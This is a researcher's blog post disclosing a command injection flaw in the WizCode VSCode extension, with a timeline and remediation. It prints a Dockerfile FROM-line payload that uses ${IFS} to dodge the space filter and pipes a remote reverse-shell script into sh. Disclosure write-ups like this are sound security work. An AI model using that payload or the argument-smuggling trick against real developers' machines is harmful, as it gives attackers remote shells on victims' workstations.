Rohit Kumar (@rohitcoder)
Rohit Kumar (@rohitcoder) Maintainer of Code Arsenal Community, Product Security Engineer @ Groww. Bug Bounty Hunter & Programmer.

Command Injection Vulnerability in VSCode Extension for WizCode and Wiz (legacy)s

Command Injection Vulnerability in VSCode Extension for WizCode and Wiz (legacy)s

WIZ POC

Executive Summary

While exploring Wiz’s new VSCode extension, I discovered a command injection vulnerability that could allow command execution on workstations running the extension under specific conditions. The vulnerability was reported to Wiz’s security team and was fixed within 3.5 hours, with no impact on customers or data. Users are advised to update to the latest version as outlined in Wiz’s security advisory.

Background

On September 10, 2024, I came across Wiz’s announcement of WizCode, a tool designed to scan source code for security vulnerabilities as part of their “Code to Cloud” framework. As someone deeply involved in evaluating various automated source code security tools, I was intrigued by their approach, especially whether they were using Abstract Syntax Trees (AST), Control Flow Graphs (CFG), Data Flow Graphs (DFG), Code Property Graphs (CPG), or a hybrid method.

Analyzing Wiz IDE Extension

The next day, I installed several IDE extensions from different vendors for comparison, starting with Lacework and then WizCode. I located the local code paths of these extensions and ran them through an internal SAST tool I developed, which quickly flagged a command injection vulnerability within the WizCode and Wiz (legacy) IDE extension.

Bypassing Authentication Checks

To exploit this vulnerability, I needed an active Wiz subscription, which I didn’t have. I decided to reverse-engineer the extension to bypass the authentication checks. By tracing the call flow and modifying a few functions, I bypassed the authentication mechanism and triggered the vulnerability locally.

Vulnerable Code Analysis

In the file scan.js, the following function caught my attention:

1
pullDockerImage(args1, args2, args3)

The args3 parameter was an array of Docker images to be scanned. This array was passed to a docker pull command using child.exec:

1
docker pull {$image_name}

The images array was computed using:

1
const imageName = lineText.startsWith("FROM") ? lineText.includes("--platform=") ? lineText.split(" ")[2] : lineText.split(" ")[1] : "";

This logic extracted the base image from a Dockerfile, and our attack payload would be inserted here.

Overcoming Payload Restrictions

One major challenge was that the payload couldn’t contain spaces. To bypass this, I used ${IFS} (Internal Field Separator), which acts as a space in Unix-based command-line interpreters.

Crafting the Payload

After bypassing authentication and command restrictions, I crafted the following payload:

1
FROM python:3.9.20-slim-bullseye;curl${IFS}https://reverse-shell.sh/X.X.X.X:1337${IFS}|${IFS}sh

This payload instructed WizCode to pull the Python image and execute a reverse shell command. I tested it by embedding it in a Dockerfile hosted on a Git repository. When a colleague opened the file in their IDE, I successfully gained access to their system.

Security Considerations and Controls

  • Scan Doesn’t Happen Automatically: To trigger a scan for Docker images, the user needs to manually initiate it, they’ll see a “Scan” option, when they open any Docker image, and the moment they start scan, attacker gets access. This requirement helps limit the chances of accidental exploitation, as scans are not performed automatically.

  • Authors & Folder Should Be Trusted: If the code is already trusted or is internal, VS Code won’t ask for trust settings, allowing extensions to run without interruptions. However, if you download any random or external code, VS Code will prompt, “Do you trust the authors of the files in the folder?” If the path isn’t trusted and the user selects “No, I don’t trust the authors. Browse folder in restricted mode,” the extension will not run on that code, effectively preventing any unauthorized execution. This is a security control implemented by VS Code itself, offering an additional layer of protection.

Proof of Concept (PoC)

A video demonstrating the PoC was shared with the Wiz security team: https://youtu.be/vtF2U6B75R0.

Vulnerability Disclosure Timeline

  • 2024-09-11 13:44 - Reported the vulnerability to Wiz’s security team.
  • 2024-09-11 14:08 - Wiz Engineering validated the issue and started working on a fix.
  • 2024-09-11 14:18 - Wiz Security Team acknowledged the issue via email.
  • 2024-09-11 17:11 - Fixed version of the extension published on the VS Code Marketplace.

Remediation

Please upgrade to the latest version of the Wiz Code & Wiz extension as recommended in their security advisory. Contact the Wiz security team for further assistance.

Conclusion

The vulnerability was responsibly disclosed and has been patched by Wiz. No other parties exploited this issue, and all sensitive information was kept confidential. Wiz’s quick response and collaboration were commendable.

End Note

I discovered this security issue during my ongoing research on source code security vendors and major open-source libraries. Additionally, I found a few more critical command execution vulnerabilities in other vendors, and I’ll be publishing a detailed writeup soon. You can follow my updates or connect for future collaborations on LinkedIn at https://www.linkedin.com/in/rohitcoder/ or GitHub at https://github.com/rohitcoder.

comments powered by Disqus